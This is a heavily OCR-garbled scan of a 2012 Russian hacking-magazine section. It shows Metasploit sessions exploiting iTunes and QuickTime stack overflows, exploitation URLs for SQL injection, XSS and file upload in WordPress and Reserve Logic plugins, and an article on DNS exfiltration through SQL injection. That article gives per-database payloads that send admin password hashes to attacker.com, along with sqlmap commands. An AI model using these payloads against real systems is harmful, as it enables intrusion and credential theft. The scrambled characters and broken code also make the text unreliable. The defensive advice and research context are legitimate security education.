ssLthat ShouLd Ье used (accepted: ssL2, ssLЗ, TLs1)

The URI

по

to use foP this

expLoit (defauLt is

rапdоm)

Payload options (windows/exec) Name Счггепt set Requiгed Descгiption :

cMD

саlс

ехе

уе5

EXITFUNс

ргосеSS

yes

.

The command stning

to execute Exit technique:

thгеаd, ргосеss,

Seh, попе

Exploit tагgеt:

)

>

Set cmd саlс.ехе

on.

SRVPORT

0

=> 0

а.0.0

opt ionS

Thls must Ье ап addгess on the local machine ог 0.0.0.0 The LocoL роrt to

года

В

щцЕ Начнем наши изь скания

cmd =>

msf exploit(apple_itunes_extended_m3u) > show lЧоdulе options ( exploit/windows/browseг/apple_itunes_extended Nаmе Счrгепt set Requiгed Descгiption

Id 0

Nаmе

j.Tunes 10.4.0.8а

оп ХР SРз

to 10.6,1.7 With

Quickтime 7.69


msf exploit(apple_itunes_extended_m3u)

>

[*] Exploit гuппiпg as background job.

eХploit

[+] Using URL: http://0.0.o.o:8o8o/exm

[*]

Loca]" IP

:

h1.tp

|

[*] Sегчег staгted.

/ /

>

Итак, сервер за пущен, Идем на ма ш и ну, на кото рой у нас установлен пеs. За пускаем та м l пtегпеt Ехрlоге1 iTu nes; атта чи мся к iTunes от-

ладчиком, вбиваем

в

адресной строке Ефразу http://192.168.0.64:8080/

exm и парусекундждем результата. Результат является к нам в облике ACCESS Vl0 LATlON при попытке зап иси по адресу 0х1 30000 после исполнения следующей инструкции:

10СЕ9А7А ЕР

lЧОVS DWORD PTR Es:[EDI],DWORD PTR DS:[ESI]

Перейдем на начал0 функции, к которой относится данная инструк-

ция. и поп ытаемся пон ять, что за зверь п редстал на ше му взору. l DA, к сожален и ю, 0поз нать его н е смогла, ну и ладно п обудем сегодня

-

сигнатурными нищебродами. Путем бесхитростныхумозаключений приходим к выводу, что переднами красуется stгпсруlсhаг*dеstiпаtiоп, const сhаг *Sоuгсе. size_t пum]. Вызывается она отсюда: 1аз 56949 1аз 5694А

10з5694D

10з5694Е 10з5694F 1gз56954 10з 569 58 1аз 5695с На

PUSH EsI ADD Едх,8 PUSH Евр PUSH ЕАх

cALL stгпсру

j <---

GSОIЧ!

MoV EAX,DWORD PTR SS:[ESP+4с] MoV Ecx,DWORD PTR SS:IESP+24] ADD ESP,oc

стек при этом кладутся следующие аргументы:

0012ЕЕбС ООt2r62О ОО72ЕЕ7О О5АlС429 oot2cE74 ОООООFt7

j

;

j

адрес на сrеке, куда мы будем писать адрес в кучеJ откуда мы будем читать размер копируемых данных

0тветственным за бесформенное безобразие, связанное с переполнением буфера, будеттретий аргумент, представляющий собой размер копируемыхданных и в нашем случае равный 0xff 7. В дельта-окрестности этого вызова. к сожалению, не было кода для проверки упомянутоготретьего аргумента, и вкупе с тем фактом, что функция stгпсруявляется небезопасной, исполнение функции с подобными аргументами приводитк столь печальным последствиям... 0чев идно, что сте к после буфера, куда происходила зап ись, п ревратился в месиво. Но что не может не радовать- меси во, на м п одвластное. В процессе перезаписи мы вышли за границы буфера на стеке и перезаписали своими данными адрес вOзврата, также располагаю-

щийсянастеке.Впринципе,наэтомможнобылобыостановитьсяипо-

лучить классический тип эксплойта. Но в данном случае авторы пошли дал ь ш е и п е реза п исал и та кже S Е Н - цеп оч Kyl п рев рати в тем са м ы м обычный классический эксплойтв SЕН-эксплойт. Ну а для того, чтобы передатьуправление на перезаписанный адрес SЕН-обработчика, 0ни прOдOлжили гадить в стек, пока неуперлись в упоминаемый выше ACCESS VlOLATION при попытке записи по адресу 0хlЗ0000. Управлен ие в с вя з и с эти м пе редал о с ь на ко нтрол и руе м ы й SE Н -обра ботч и к, далее на ROР-цепочку, задачей которой является вызов функции ViгtUа lРгоtесt для уста н ов ки п ра в доступа на испол не н и е стра н и ца м памяти, содержащим шелл-код [дабы обойти DEP]. И последний шагсобственно передача управления на шелл-код, Занавес.

lшЕЕ iTuneS

щI

1

0.4.0.80-1

Существует

об

н

Арр!е OuickTime переполнение буфера

на стеке при обработке ТеХ1.1L-файла

r92.1,68.o.64:8o8o/ ехп

msf exploit(apple_itunes_extended_m3u) iTu

В

0.6.1.7.

овл ен ие. устра ня ющее да

н

ную уязви мость.

llllltlIltili

х

щЕ

IAV:

рел иза: 28 и ю ня 201 2 года Автор: Alexa п dег Gачгu п, siппЗr, jua

N/AC: M/AU: N/C :C/l : С/А:С)

,Д,ата

п

vazquez

CVE: CVE-201 2-066З При обработке специальным образом сформированногоТеХМL-файла

происходитпереполнение буфера на стеке, что приводитк возможности выполнения прOизвOльног0 кOда в кOнтексте пользователя, запустившего процесс 0uickTime.

щцЕ модуле эксплуатируется

ошибка в компоненте процессе обработки атрибута'соlог'. 0шибка п роя вля ется из-за некор ректной п роверки раз м ера да н н ы х перед их копированием в буфер фиксированного размера, располагающийся на стеке. Ниже представлен цикл, в котором и происходитзатирание всегоживого на стеке: В

данном

0uickTimeЗGPP.qtx

в

.tехt:67ЕбDOЕ0 1ос_67ЕбDOЕ0: ; сODE XREF: vulnfoo+1FIj ,text:67EбDOEa add есх, 1 .tехt:67ЕбDOЕЗ mov IeSi], а1 ; <- падаем с AccESS VIOLATION ,tехt:67ЕбDаЕ5 mov а1, [есх] .tехt:67ЕбDаЕ7 add esi, i. .teХt:67EбDOEA add dl, 1 .teХt:67EбDOED сmр

aI,

; в процессе записи ; адресу Охl4ОООО

по

bJ.

.text:67EбDOEF jnz Shогt loc

67ЕбDOЕ0

Как и в предыдущем случае, мы имеем дело с SЕН-эксплойтом, поэтомуадрес SЕН-обработчика перезаписан нашим значением:

SEH

chain of main thread

Addгess

5Е hапdlег

ОOlЗСЕ78 QuickT_2.66801042 601Е06Ев **+ сoRRUPT ENTRY

++*

То есть после того, как в результате исполнения инструкции <mov [esi], аl> будет сгенерировано исключение ACCESS_VlOLATlON,

управление перейдет на следующий код:

668o1042 5F рOр

668оlо4з 5Е 668о10lи сз

EDI

рOр ESI RETN

Класс и ка жа н ра. ,Щал ее уп равлен и е передается на шелл-код и за пускается кал ькулятор. В да н н ом М etaspl oit- м одуле отсутствует обход DEP'a, но никтотебе незапрещаетегоздесьдобавить. Генерация эксплойтадля QuickTime 7.6.9 с полезной нагрузкой в виде запуска калькулятора:

msf

>

use exploit/windows/filefonmat/apple_quicktime_texmI

msf exploit(apple_quicktime_texm1)

>

info

AVailable tагgеts:

Id

Nаmе

0 1

Quickтime 7.7.1 оп tilindows ХР sРЗ Quickтlme 7.7.О оп WindoWS ХР 5РЗ


msf exploit(apple_quicktime_texm1) tагgеt

>

=> 2

msf exploit(apple_quicktime_texnI)

>

payload => Windows/exec msf expIoit(apple_quicktime_texm1) cmd =>

msf exploit(apple_quicktime_texml) [*] Сгеаtiпg'msf .xml'.

Set cmd саlс.ехе

>

eХploit

>

IщЕ

0uickTime 7.6.9, 0uickTime 7.7.0, 0uickTime

об

>

at /home/pikofarad/.msf4llocal/msf.xml

nsf ёxploit(apple_quicktime_texm1)

щцiщ Существует

2

set pay]oad Wlndows/exec

calc.exe

[+] msf.xml Stored

set tагgеt

7.7.1.

новлен ие, устра ня ющее дан ную уяз

в

имость,

0UiсkТimе-цикл, который приведеткпереполнению буфера

".ý: 3аrрузка пропзвольногофеЙла вWоrdРrеss g Rеsчmе5чЬmissiопs&JоЬРоstiпgs

lIlllllIlltllb

rl

,Щевятого июля были опубликованы детали уязвимости в плагине Wоrd Ргеss Resu me Subm issions & Job Posti ngs, позволя юще й загружать

произвольные файлы на сервер {само собой, для их последующего исол нен ия].

п

шцil

плагине существует возможностьзагрузки резюме через поле"f ile в котором никак не фильтруется расширениефайла. Вложения загружаются в папку/wр-сопtепt/uрlоаds/гsjр/аttасhmепts/. 0днако имя файла при загрузке изменяется, за это отвечаютстроки В

attachment",

1

9З-1 97 в скрипте/wр-сопtепt/рlug jns/гesume-submissions-job-

postings/includes/f

t

if ( t

$еппог

=

lME

WoгdPressResumeSubmissions&JobPostingsv2.5.1

)

]

0бновить или более поздней.

date( 'Y-m-d H:i:S' ) ) . '-'

$count '.'

$ext.;

Из этого фагмента кода следует, что в качестве нового имени файла ис-

&

Job Posti пgs до версии 2.5.2

1: УrliЪillffiныеуязвиности

[$key];

getExtension( $_FILES[$input]['nare'][$key]);

$name = mds(

и.возможно,более

ранние.

== UPLOAD_ERR_OK )

$tmpName = $_FILES[$input]['tпp_name'

$ext

ьзуется М D5 от знач ен ия текуще й даты на се р вере, в довесок к этому прибавляется дефис и порядковый номер файла [если загружался один фа йл, то та м всегда будет стоять еди н и ца). Рассмотрим конкретный пример. Если время на сервере было равно 2012-07 -09 21:22:20 и в эту секунду был загружен ров но оди н фа йл, то его имя будет8lза2а4Oе8еf 7fез661972696409Ь562-1.рhр и его можно будет обнаружить в папке /Wp-content/uploads/гsjp/attachments/. Для получения даты сервера можно воспользоваться Вuгр Suite и посмотреть дату сервера, которая указа на в 200 - м ответе сервера после отп рав ки файла. flля формирования правильного имени файлатакже необходимо п р ибавить одну секунду к времен и сервера, получен ного в ответе. Та ки м об разом. есл и в ремя сервера было 2012-07-09 21:22:19, то и мя загружен ного файла будетmd5("2О12-g7-О9 21i22:zo") + '-1.php'.

щщщWоrd Ргеss Resume Submissions

unctions,php:

fогеасh( $_FILЕS[$lпрut]['егпоr'] as $key =1 $еггог

стеке

пол

lAV: N/AC: L/AU : N/C : N/l : Р/А: N l

щЕ

на

в

Reserve Logic

llllllllllllп" {AV:

ЕЕtr

N/AC

:

М

/Au S/C C/l С/А: :

:

:

середине и юня был и раскрыты уязви мости в движке Rеsеrче Logic v1,2 Booki пg, в числе которых станда ртн ы е и слепы е SQ L-и нъекции, за грузка п роизвольны х фа йлов, а также разношерстны е XSS. 3а стольдерзкую В

раздачу взяла на себя ответствен ность контора Vul пегаЬilitу- Lab.

щцЕ 1. SQL-инъекции.Этиуязвимости

позволяютатакующемувыпол-

нить произвольные SQL-команды на соответствующей СУБД. Уязви}.tые скрипты:

iтчпе9

10-обходDЕР

в

ROР-цепочке

С l

. . . . . . . . . .

packagedetails.php; Ьооkiпg_герогt.рhр;

usегs_герогt.рhр; editenquiries.php; addcljentlocations.php; addcUStomeгs.php; addpacka9es,php; addaccomtypeavailability.php; Ьооkiпg_герогt.рhр; addspecialoffeг.php,


Уязвиl,{ые параметры:

. . . .

!ля эксплуата

id;

.

гghtМепu; pid;

вилегированного

http

/ /

.

L27

.

О. О.

.

/

727, о.0. 1 : 1зз7l [путь- к- rеsегчеlоgiс Ьооkiпg_герогt . php ? гghtlvlепu=rghtМепuЗ& огdегЬу= - 1%27 [ sQL - IN] EcTIoN ]& sогt=Аsс&tхt t гоmDаtе=05 - 17 - 2012&txtToDate=06

.

http

|

:

/ /

/ /

L27

.о.0.

1

:

]

/admin/

-

16- 2O12

1зз7l [ путь- к- neserveJ"ogic ]/admin/

,

http : / / L27 . о,0. 1 : 1зз7l [путь-к- геsепчеIо8iс Ьооkiп8_герогt . php ? гghtМепu=гghtМепuЗ&

]

/admin/

BLIND SQL-IN] EcTIoN]&soгt=ASc& txt F гomDate=x&txtToDate=x I

2. Загрузка произвольныхфайлов.Уязвимость

http

:

r27 . о.0.

/ /

http

:

127

/ /

0,0.

.

путь- к- геsеrчеlоgiс

1

:

1ЗЗ7l

1

:

1

:

1зз7l [ путь-

н и

]

/admin/

].зз7l [путь- к- геsепчеlоgiс

]

/admin/

гeservelogic

]

/admin/

[

к-

.

http

:

/ / 127

addcustomens

.

о.0.

.

php

1

:

1зз7l [ путь- к- resenvelogic ] /admin/

и скOпирOвать кодсвоего наиполезнейшегоскрипта Title или Name.

ПассивныеХSS,Этиуязвимости х

ваты вать сесси

и

стратOрOв.

в

поля ввода

позволяютатакующемупере-

других пол ьзо вателей/моде раторо в/адм

и н

и-

Уязвимые скрипты: . locationdetails.php;

. . . . . .

bookings.php;

addpackages.php; add_neWS.php;

addaccomtypeavailability.php; аdd_Ьаппег.рhр;

editfeedback.php.

позволяет при-

в иле ги рOван н 0му пол ьзовател ю за гружать в редон осн ы е фа Йл ы без каких-либо ограничений. Фильтрация загружаемых файлов

0тсутствуетсOвершенно, поэтомуатакующий можетбез проблем загрузить веб-шелл. Уязвимость расположена в скрипте addlocationphotos.php. Загружаемые файлы сохраняются в папку

гуimаgеsl

3. АктивныеХSS.

Эти баги позволяютатакующему внедрить вредоносный скрипт на страницы приложения. Уязвимости расположены в файлахаddрасkаgеs.рhр, add_news.php, аdd_Ьаппег.рhр или addaccomtypeavailability.php, а подверженные им параметры-эт0 title и па me. Требуется пол ьзо вательск и й а ккаунт без ка к их-л и бо

специальных привилегий.

Подвержены уязвимостям лараметры nid, id, пВld, mЬSеагсh, роstsеагсh, txtkey, page и d id. В резул ьтате успеш ной атаки можно завладеть аккаунтом, провести фишинг-атаку или изменить содержимоестраницы на стороне клиента. При этом нужнолюбыми, самыми изоцренными способами заставитьпользова]еля перейти по специально сформированной ссылке. Примеры эксплуатации:

. htlp : / / t27 . О. О. 1 | LЗЗ7 / |путь -к - геsегчеlоglс ] / 1ocationdetails . php ?did= [XSs ] . http : / / 127 .О,О.1 il,ЗЗ7 / fпуаь-к_ neseгvelogic],/admin,/ bookings. php?page= [XSs] . hltp

i /

/ L27

.

О. О, L

I

геSегче]оgiс

]

/admin/

1зз7l [путь- к- геsепчеlоgiс

]

/admin/

rЗз7 / |пут

ь - к -

addpacka8es. php)id= [XSS]

. htlp

:

/ /

127

.

о.0.

1

:

add_news. php ?nid= [Х5s]&раgе=],

. http | / / L27 . О. О, L : rзз7 / |путь -к - геsеrчеlоgiс ],/admin/ addaccomtypeava ilability . php ?id= [xSs] &poStSea гсh=S& cmbSeanch=&page=l&tXtkey= . http : / / 127,о.о.1, ilзз7 / fпуть-к-геsегчеtоgiс]/аdmiп/ add_bannen. php ? nBId= [XsS ] &раgе=1 . http : / / 127 . о, о, L : 1,ЗЗ7 / |путь - к - пеsегVеlоgiс editfeedbac k. php ? id= [ xSS ] &роStsеагсh=S&сmЬSеа =1&txtkey=

Rеsегче Log ic

iTune5

10-вызов. приводящий

к

переполнению буфера

на

ц:

. hltp : / / L27 . о,0. 1 : 1зз7l [ путь-к- геsегVеlоgiс ] /admin,/ addaccomtypeavailability, php

4.

addaccomtypeaVailability. php?id=72 [BLIND SQL-IN] EcTIoN]

../ga lle

0,0.

.

аddtЬаппег. php

. hltp : / /L27 .о.о. 7 i7зз7 / fпуть-к-геsегчеlоgiс]/аdmiп/ Ьооkiпg_геропt . php ? гghtМепч=гghtМепUЗ&[ sQL - INJ EcTIoN ] Union+select+1, 2,З, 4,5,,, ЗО - -%2o -o&soгt=x&txtEгomDate= x&txtToDate=x . htlp

/ / 1-27

add_neWS. php

пользователя. Вотнесколько примеров:

\ i !ЗЗ7 / |луть - к - rеsегчеlоgiс ] рас kagedetalls . php ?pid=4+ [ SQL - IN] ЕСТION ]AND+ sчЬstгiпg(чегSlоп( ), 1)=5 |

:

addpackages. php

оrdегЬу. Уязвимо_сти могутэксплуатироваться без наличия аккаунта при-

.

http

ции необходимо за йти на одну из следующих стра

стеке

v1 .2

Booki пg

С М

S и,

06н ов иться до посл едней верс ии

возможн

.

д

о,

более ра

н н

ие.

]

/admin/ гсh=&раgе


взлом

1.1ирослав Штайпар [tWitieг,com/stamparm]

SаL_инъЕкции чЕрЕз DNS получАЕ}{ сOдЕржимоЕ БАЗЬl ДАННЬIХ ЧЕРЕЗ DNS

SQL-инъекции - одна из самых распространенных уязвимостей современных веб-приложений. Разработчики постоянно закрывают массу дырок, связанных с этой проблемой, но хакеры по-прежнему находят способы эксплуатации этой старой как мир уязвимости. Сегодня я расскажу тебе о не новой, но действительно крутой технике извлечения данных из SQL-баз с использованием DNS-запросов, которая в умелых руках может стать грозным оружием любого современного пентестера. Готов? Поехали!

,

|цl

ппiппв Вся информацхя

предоставлена хсключительно в 0знакOиительныI целях. Ни редакция, нх автOр не

несут

ответственнO(ти за любой возможный вред, причиненный материалами данной статьи.

ввЕдЕниЕ

Под SQL-инъекцией подразумевается внедрение произ-

вольного SQL-кода в запрос к СУБ,Щ для получения доступа к данный таблиц, На практике это зачастую выглядит как специально сформированный запрос к странице вида где вместо 1 в параметре http://taгget.com/get_data.asp?id=1, id хакер пытается <пропихнуть> серию из SQL-команд, которая позволяет получить доступ к содержимому базы данных. В зависимости от логики работы уязвимого приложения, техники э(сплуатации SOL-инъекций принято делить на три большие группы: классические, слепые и абсолютно слепые. 0дно из отличий слепых инъекций 0т классических состоит в том, что для эксплуатации они требуют очень много времени и большое количество запросов, ведь данные uвытягиваются> бит за битом. Поэтому атакуюtлему обычно необходимо отправить десятки тысяч запросов, чтобы вытянуть сод€ржимое таблички среднего размера, что можетбыть замечено бдительным администратором уязвимой системы. 0днако есть способы, позволяющие значительно увеличить скорость получения данных из СУ!Б при эксплуатации слепых инъекций, при этом снизив количество запросов к самой базе.-0б одном из таких методов мы сегOдня и пOгOвOрим.

т

qJ ;ii

066

l


SQL-инъекции через DNS

tl

liJ

1-1

ii

оБР*",

l

(ns.example.com)

/"

W/ Sbrver

4)

DNS (com)

Quеrу:

l

1 test,example,com l t\l/ / 5) АпSWеr: I зl Rеfеrrаl: "-,-:,*" 192.168.10.5 \ ns.example.com ,/ 2)Qlеrу: \ \ / test,example.com J \ ,/ \ ,1) \ Query:

l) l .-"";l;БiJ"", t;\ 6)Answer: ,\> ýd Server- 192.168..1о.5 Client l.

DNS (default) Процесс резOлва доменного имени

0 чЕм рЕчь? Класс атак, техника эксплуатации которых позволяет получить нам искомый выигрь]ш во времени, в англоязычном интернете обычно описывается как DNs Ехfiltгаtiоп. Изначально понятие <ехfiltгаtiоп> было военным термином, под которым подразумевалOсь вOзврацение агента разведки на родину. В Сети под этим словом в контексте ИБ обычно понимается незаконное извлечение данных из информационных систем. При использовании этой техники в контексте SOL-инъекций появляется способ извлечения данных через DNS, при котором возможно пренебречь ожиданиeN4 0твета 0т сервернOг0 прилOжения при эксплуатации слепых инъекций и получить результаты выполнения своих SQL-запросов [например, имена пользователей и пароли), отправляя на свой DNS-cepBep DNS-запросы, содержащие данные из СУБ,Щ уязвимого приложения. Использование этой техники дает ряд неоспоримых преимуществ по сравнению с time-based или tгuе/fаisе техниками: во-первых, нам не требуется дожидаться ответа от веб-сервера, чт0 существенн0 ускOряет процесс, во-вторь]х, за один запрос мы можем вьiтащить много больше данных. В-третьих, техника не накладывает ограничений на нестандартные типы данных, таблицы и названия столбцов. DNS-запроgы мы будем передавать по протоколу DNS, что неудивительно :]. Это относительно простой протокол. Запрос, выполняемый DNS-клиентом, и соответствующий ему ответ, предоставляемый DNS-cepBepoM, используют один и тот же формат DNS-сообщений. За исключением трансферов зон, использующих для надежности протокол ТСР. DNS-сообщения инкапсулированы в UDР-датаграммы минимальные единицы информации в протоколе UDP для обмена информацией llrrlJ!ЦLOlDxl на транспортном уровне модели 0Sl lbit-ly/c1rrtфRE]. flля любого человека, 0существляющег0 мOнитOринг машины с помощью инструмента, подобного wiгеshагk, скрытый канал передачи данных, выполненный поверх DNs, будет выглядеть как небольшие серии всплеска DNS-трафика. В основе работы такого неконтролируемого канала передачи данных лежит'процесс передачи DNS-запросов от безопасных систем (локальных компьютеровl к произвольным DNS-cepBepaM, расположенным в интернете. !,аже если предположить, что выхOд в0 внешнюю сеть запрещен, но целевая машина способна резOлвить прOизвOльные дOменные имена, то передача данных вOзмOжна средствами отправляемьiх DNS-запросов.

-

хдкЕр

а9 11b/,/ 2о1)

Web server (wW,targ€t.com) Передача данных через DN5 при 50L injection атаках

гOтOвим успЕшную АтАку

Предпосылкой для успешной передачи даннь]х через DNS из БЩ уязвимOг0 приложения служит наличие в СУБfl подпрограмм, кOтOрые прям0 или кOсвенн0 инициируют процесс резолва доменнь]х имен, например для домена attacker.com. Любая функция, принимающая в качестве параметра сетевой адрес, скорее всего, подойдетдля этой цели, Следует отметить: нам безразлично, что делает эта функция и что она возвращает в качестве результата, главное, чтобы она инициализировала процесс резолва доменных имен, И напротив, мы должны заботиться, чтобы такие функции были вызваны корректно [без синтаксических ошибок] через SQL-инъекцию и чтобь в качестве входящих параметров мы каким либо образом передали результат нашего SQL-подзапроса [например, пароль администратораJ. Необходимо единственное условие: у нас должен быть контроль над официальным DNS-cepBepoM для дOмена, на который будут отправляться запрOсы.

ЧЕРЕЗ DNS К ЗВЕЗДАМ

Не будем углубляться в теорию: я дуь4аю, ты уже прекрасно понял, в чем основной принцип атаки, и уже бежишь настраивать DNS на своем дедике, Времени это займет не так много. Но для

МИРOСЛАВ ШТАМПАР И SOLMAP

-

мирослав Штампар профессиональный разработчик программного обеспечения и исследователь в области информационной беэопасности. Родился в 1982 году в городе Вуковар, Хорватия; получил степень магистра кOмпьютервь х наук на факультете электротехники и информатики Загребского университета в 2005 году. В настоящее время работает над докторской диссертацией на тему безопасности и 0рганизации параллельной обработки данных. Стремясь заниматься вOпросами, связанными с безопасностью, он стал одним из авторов известного открытого проекта sqlmap Ii,,л. r,.lq r ;lр .lr l]], посвященного автоматическому обнаружению и эксплуатации уязвимостей типа <Выполнение SQL-кода", и с декабря 2009 года постоянно участвует в еrо развитии. БлогМирослава-Ь liKvll(_L]_]l,


взло}i КаждьLй из приведенных

GET STARTED С SQLMAP Работать с sqLmap с поддержкой DNS очень просто: 1.

примеров может быть проэксплуати-

рован через соответствующую уязвиhlую к SOL-инъекции страницу, Например, если в качестве СУБЩ используется 0гасlе, а уязвимость присутствует в GЕТ-параметре id, то примерный вектор атаки будет выглядеть так:

http : //WWW.tагgеt. соm/Vulп. php?id=(5ELEcT DBMS_LDAP, INIT( (SELEcT раsswогd FRОМ SYS.UsER$ I,,IHERE name='SYS') I l'.attackeг.com',80) FRO|ч DUAL)--

Запусти sqmap для тестирования наличия инъекции:

-usenname$: python sqlmap.py -u \ " http : / / 192.16s.2r.129 / sqlпар /mssql/iis/get_int.

asp?id=1"

2. Теперь используй ключ --dns-domain, чтобы указать sqlmap,

что мы хотим использовать передачу данных через DNS,трафик:

-usегпаmе$: Sudo python sqlmap,py -u \ "http : //192. 16s .Л,.r29 / sql-nap/msSql/iis/get_int. asp?id=1" \ --dnS-domain="foobaг.com" --paSswondS -V з Скрипт пошагово извлечетданные, показывая всю необходимую информацию о количестве запросов и полученных пакетах, Информацию о настройке собственного DNS-cepBepa ищи в боковых выносах.

Такой же подход применим и к MуSQL. В случае Мiсгоsоft SQL Sегчег и PostgreSQL необходимо использовать комбинированную технику, так как они требуют для выполнения выражение, состоящее из нескольких запросов. Таким образом, для Microsoft SQL Sегчеr запрос будет следующим;

http:/,/WWW.taгget.com/Vuln.php?id=l;DEcLARE чагсhаг(1024); SELEсT @host=(SELEсT ТОР 1 masteг.dbo.fn_

@host

vагЬiпtоhехstг(раsswогd hash ) FROM SyS . sq1_Iogins WHERE name=' sa' )+' . attacken. соm' EXEс('masteг..xp_diгtnee "\\'+@hоSt+'\fооЬаг$"' );--

,;

-

начала даваи рассмOтрим практические примеры передачи данных. на примере упOмянутOг0 парOля администратOра, через механизм резOлва дOменнь!х имен для четырех распрOстраненных СУБfl. В примерах будет использоваться домен attackeг.com доменное имя, над DNS которого мы имеем полный контроль, Полный контроль в данном случае необходим для того, чтобы lvы могли получить результаты выполнения SQL-подзапросов из

-

логов DNS-сервиса:

Micгosoft SQL Sеrчег

DEcLARE @host Vагсhаг(1024); sELEcT @hoSt=(SELEcT ТОР 1 maSter.dbo.fn_ VaгbintohexSt г ( pas sword_hash ) FROМ Sys.Sq1_1oginS WHERE name='Sa' )+'.attackeг.com'

ЕХЕс('mаStеr..хр_diгtгее "\\'+@host+' \fооЬап$"'

;

).;

оrасlе

Необходимо упомянуть одну важную деталь для успешной организации DNS-туннеля в Microsoft SQL Sегчег, РоstgгеSQL и MySQL эти СУБ! должны поддерживать пути в формате UNC, что, в общем-то, означает, что такой туннель можно создать, если на сервере в качестве бэкенда будет использоваться 0С Microsoft Windows.

0т слOв к дЕлу

0дной из самых классных реализаций этой техники является великолепная тулза sqlmap с поддержкой использования DNS-запросов для передачи данных, которую мы и будем возьмем на вооружение. Эта фича была добавлена с ревизии 5086 ветви v'].0-dev в официальном GlТ-репозитории, С помощью опции --dns-domain ты можешь включить поддержку передачи данных через DNSтрафик и указать sqlmap, что все выполняемые запросы на резолв имени должны указывать на заданный домен [например, --dnsd о

ma iп

=attacke г.соm].

Запись DNS-cepBepa lнапример, nsl.attacker.com] должна содержать lР-адрес машины, на которой будет запущен sqlmap.

5ELEcT DBMS_LDAP.INIT((sELEcT раSSWогd FRoM SYS.UsER$ и]нЕRЕ паmе='SYS' ) l l '

.

attackeг.

com'

,80)

FROм DUAL;

MysQL

SELEcT LOAD*FILE(cONcAT( '\\\\' , (SELEcT раsSWогd tROМ mySqI.uýer WНЕRЕ uSег='rооt' LIMIT 1),'.attackeг.com\\ fооЬаг' ) ); Post8гeSQL DROP TABLE

It EXIsTs table_output;

cREATE TABLE table_output(content text),; cREATE 0R REPLAсE FUNсTION temp_function() RETURNS VOID AS $$ DEcLARE exec_cmd ТЕХТj DEcLARE quегу_геsu]t ТЕХТ; BEGIN

SELEcT INTo queny_neSult (SELEcT paSswd FRОМ pg_ShadoW usename='postgres' ); exec_cmd := E'COPY table_output(content) FRoM

t HERE

E\,\\\i\\\\,

l

quегу_геsчlt

l

|

|

Е' , аttасkег. соm\\\\fооЬаг.

txt\'

';

EXEсUTE exec_cmd; END;

$$

LANGUAGE

ptpgsqI SEcURITY DEFINER;

SELEcT temp_f Unction(

о68

) ;

Орагиент вывода команды sqlmap --dns-domain

хАкЕр

09

/]64l 2012


SQL-инъекции через DNS

МЕТOДЫ ЗАЩИТЫ

тЕстируЕм скOрOсть

как таковые, методы защиты от атак типа sQL iпjесtiоп сводятся к нескOльким простым вещам. Самое главное необходимо лисать безопасный код:

.

рАБOтьl DNS EXFILTRAT|ON Все поддержиЪаемые

sqlmap способы внедрения SOL-кода были прOтестирOваны в виртуальнOм окружении в сравнении с новой техникой' использующей DNS. БылО измеренО Количество отправленных НТТР-запросов и промежутки времени, потребовавшиеся для того, чтобы сдампить содержимое таблички iпfогmаtiоп schema. COLLAT|ONS [занимает около 4 Кб, из-за чег0 скорость соединения получилась достаточно высокой]. В приведенной ниже таблице протестированные метOды получения данных из СУБ! отсортированы с

. . .

1lетод получения данных из

1

Метод, основанный на использовании оператора UNlON IUnion (f

ull/

ра rtia l]]

, '

З

базь, ,::1Т; за-iiiiiв

Ме-од, основанчоlй на выводимых

СУБ[оллбках(Еrгог-Ьаsео] для передачиданныхизбазы exfiltгation]

[DNS

Метод,

на лс

Метод. основанный на времени отве-

таСУБД[Тimе-Ьаsеdl,задержка-1 се

кунда

1409

29212 э2716

9,02

з5,з

1

214,0L

1?720,51

Несомненно, в реальных условиях метод, использующий DNS, потребуетдополнительного времени в связи стем. что будутзадействOваны DNS-серверы, расположенные во внешней сети, Несмотря на эт0, разница между ним и методами, основанными на времени и

лOгических выражениях, 0станется весьма существенной, так как последние потребуют больше времени из-за большего числа выполняемых запросов.

В свою очередь, sqlmap, работая как поддельный DNS-cepBep, предоставляет валидные lHo фиктивныеJ ответы для входящих DNS-запросов на резолв имени. Фиктивные DNS-ответы отправ-

ляются для разблокировки 0жидающего ве6-сервера, не заботясь 0 результатах, котOрые оН вернет, поскольку sqlmap безразлично содержимое ве6-страницы. ,Д,ля каждого элемента, который нужно сдампить, sqJmap отправляет специально созданную строку SQL-запроса внутри обычного нттр-запроса, а в фоновом потоке обрабатывает и сохраняет все входящие DNS-запросы. Так как результат выполнения каждого SQL-

запрOса злOумыщленника окружается уникальными и рандомными префиксом и суффиксом, то нетрудно определить, какой SQL-запрос сOOтветствует пришедшему DNS-запросу. Правда, такой подход с (обрамлениемD результатов исключает использование кеширующего механизма DNS, заставляя использовать рекурсивный резолв имен. Каждый DNS-запрос на резолв имени кодируется в шестнадцатеричную форму, чтобы соответствовать стандартудля доменных имен DNS lRFC 10З4i. Таким образом, все спецсимволы сохраняются.

шестнадцатеричное представление длинных sQL-запросов разбивается на части. Это делается потому, что каждая часть доменного имени (например, .example. из tstl,example.comJ ограничена длиной в бЗ символа,

хлкЕр

09

/1b|l ?а12

v/zaNhPY.

правами кOтOрOг0 пOтенциальноуязвимое приложение осущест-

ВМЕСТ0 ЗАКЛЮЧЕНИЯ 0,70l2,50

N4етод, использующий DNS-трафик

основанный , 4;;;;;.;;*ЁЖ::;j;:fiil:i

5

lll

bit

Типизируй все данные, с которыми работаешь. Еслиты точно знаешь, чтозначение переменной id-всегда число, приводи эту переменнуюктипуiпt. Фильтруй специальные символы.

вляет работус Бfl . Не стоит предоставлять пользователю лишние привилегии. втOм числе и испOльзованиехранимых в Б,Щ процедур, кOтOрые пOтенциальн0 могут позволитьзлоумышленнику прOизвести атаку.

,__В.l."' [секундыl

з/lзб

нее 0 параметризOванных запросахты можешь почитать здесь:

Разграничивайдоступправильно,этокасаетсяипользователя.с

учетом скорости их работы:

м

Внезависимостиотязыкареализацииприложения, используй

для SQL-запросов так называемый ргерагеd Statement, что дослOвн0 перевOдится как (пOдгOтовленные выражения>. Подроб-

Вот ты и познакомился с продвинутой техникой, использующей

DNS и значительно повышающей скорость получения данных из Бfl, которая может быть использована, если более быстрые техники применить невозможно. Результаты тестирования показали, чт0 данная техника не требует отправки большого количества запрOсOв, а эт0 делает ее менее заметной. Возможно, из-за того, что она требует наличия DNS-cepBepa, эта техника не будет применяться большинством атакующих. С точки зрения реализации все выглядит дOстатOчн0 просто. так что не стоит недооценивать ее практической ценности, А реализация поддержки этог0 метода в такOм инструменте, как sqlmap, должна сделать его доступным для всех.

т

Бffi@е aassltlcat ll]t]alrd (Wet] page as challtlel) D

Ul- i]l]

